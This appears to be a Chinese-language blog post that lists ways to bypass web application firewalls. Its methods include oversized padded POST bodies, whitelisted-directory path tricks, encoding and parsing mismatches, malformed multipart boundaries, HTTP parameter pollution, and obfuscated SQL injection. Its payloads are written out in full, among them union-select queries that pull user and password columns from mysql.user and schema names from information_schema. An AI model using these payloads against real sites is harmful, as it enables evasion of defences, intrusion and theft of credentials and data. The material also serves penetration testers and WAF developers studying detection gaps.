WAF绕过的各种姿势

主要思路:

根据WAF部署位置,针对WAF、WEB服务器、WEB应用对协议解析、字符解析、文件名解析、编码解析以及SQL语法解析的差异,绕过WAF,将payload送至服务器执行。

常用绕过方法:

1.转换特征字符大小写
2.利用注释绕过
3.编码特征字符绕过
4.分隔重写特征字符绕过
5.利用截断字符绕过
6.变换变量位置绕过
7.针对域名保护的绕过
8.超大数据包绕过
9.转换数据提交方式绕过
10.HPP(HTTP参数污染)绕过
1、利用性能因素绕过。

WAF在设计的时候都会考虑到性能问题,检测数据包的包长或检测数据流长度,有一个限制。因此在设计WAF的时候可能就有一个默认值,默认多少个字节的流大小,或是多少个数据包。

可以向HTTPPOST添加填充数据,达到一定数目之后,POST中的sql注入恶意代码没有被检测了,达到了bypass的目的。

WAF的业务影响问题,一些传统硬件防护设备为了避免在高负载的时候影响用户体验,如延时等问题,会在高负载的时候关掉WAF防护功能,在低负载的时候又开启WAF功能。
此方法,主要针对软waf。可将一个payload,使用脚本并发发送多次,发现有些通过了WAF,有些被WAF拦截了。

2、字符解析问题。

一些WAF会由于某些字符解析出错,造成全局的bypass。
测试点:

1):get请求处
2):header请求处
3):post urlencode内容处
4):post form-data内容处

测试内容:

1)编码过的0-255字符
2)进行编码的0-255字符
3)utf gbk字符
\×00,&,&&,宽字符。

在这里插入图片描述

3、白名单绕过

基于IP地址的白名单,一般很难绕过。
基于应用层的数据的白名单,就可能造成bypass。

特殊目录白名单的绕过。
有些WAF,将admin dede install等特殊目录作为白名单。
被拦截:

GET/pen/news.php?id=1 union select user,password from mysql.user

通过:

GET/pen/news.php/admin?id=1 union select user,password from mysql.user 	     
GET/pen/admin/.\news.php?id=1 union select user,password from mysql.user
4. WEB服务层绕过

(1)利用WAF系统、WEB服务器、WEB应用以及数据库对字符解析的不一致,进行绕过。
%的问题:

s%elect,WAF层可能的解析结果s%elect;iis+asp解析结果select。
对unicode编码的识别:
s%u0065%u006cect,WAF无法识别,asp+iis的环境识别为select;aspx+is的环境识别出错。

(2) 构建畸形HTTP请求方法进行绕过。

某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容,如请求为的method为DOTA2,
依然返回了aid为2的结果。

在这里插入图片描述
(3)构建畸形的boundary进行绕过。

协议头里有个boundary是随机生成的字符串,用来分隔文本的开始和结束。
对于php+apache组合:Php在解析multipart data的时候,对于boundary的识别,只取了逗号前面的内容,
而WAF可能能够识别整个boundary。例如boundary设为----ccccccc,select*from db,php解析的时候只
识别了----ccccccc,后面的内容被作为内容部分。此时可能就会出现BYPASS。
5.WEB应用层绕过

(1)变换请求方式

某个参数可以从get参数中获取,可以从post参数获取,也可以从cookie参数中获取。而WAF没有完全过滤这些请求方式。
有些waf过滤的时候过滤了get和post,但是cookie方式没有过滤。因此,可直接更改cookie参数提交payload,即绕过。

(2)urlencode与form-data

POST在提交数据的时候有两种方式,第一种方式是使用urlencode的方式提交,第二种方式是使用form-data的方式提交。
有些waf过滤的时候过滤了urlencode,但是form-data方式没有过滤。因此,可利用form-data方式绕过。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
(3)畸形请求方式

asp/asp.net request解析问题。
在asp和asp.net中获取用户提交参数一般使用request包,如使用request[' ']来获取,可能会出现问题。

当使用request [ ]的形式获取数据的时候,会出现GET,POST分不清的情况。可以构造一个请求包,
METHOD为GET,但是还带有POST的内容和POST的content-type。

在这里插入图片描述
(4)HTTP参数污染(HPP)

?id=1&id=2&id=3的形式,在获取id值的时候不同的web技术获取的值是不一样的。
假设提交的参数即为:id=1&id=2&id=3
解析结果:		
			Asp.net+iis:          id=1,2,3
            Asp+iis:                id=1,2,3
		    Php+apache:       id=3
构造:index.php?a=1&a=select 1 union select2

(5)multipart协议解析错误导致文件名覆盖

在multipart协议中,一个文件上传块存在多个Content-Disposition,
将以最后一个Content-Disposition的filename值作为上传的文件名。
许多WAF解析到第一个Content-Disposition就认为协议解析完毕,获得上传的文件名,从而导致被绕过。

在这里插入图片描述

6.DB层绕过

数据库层bypass实质是在bypass WAF的sql注入防护规则。针对数据库特性构造sql注入语句绕过。
一般绕过了select from就基本可以sql注入获取数据了。

SQL注入的检查,主要是指参数和union之间、union和select之间,select与from之间,from和后面
的参数之间等几个关键位置进行。

(1)\Nunion的形式

select * from corp where corp_id=\Nunion (select 1,(select schema_name from information_schema.schemata limit 1));

(2)浮点数形式

select * from corp where corp_id=1.1union  (select 1,(select schema_name from information_schema.schemata limit 1));

(3)8e0的形式:

select * from corp where corp_id=8e0union  (select 1,(select schema_name from information_schema.schemata limit 1));

(4)利用/!50000/的形式

select * from corp where corp_id=-3/*!50000union*/(select 1,(select schema_name from information_schema.schemata limit 1));

(5)空格替换:

%09,%0a,%0b,%0c,%0d,%a0,/**/,/*somewords*/,().

7、其他变形

(1),-1,+1,~1,@8""",0,\N等
select * from corp where corp_id=8e0union  (select -1,(select schema_name from information_schema.schemata limit 1));
select * from corp where corp_id=8e0union  (select@'id',(select schema_name from information_schema.schemata limit 1));
  • 4
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值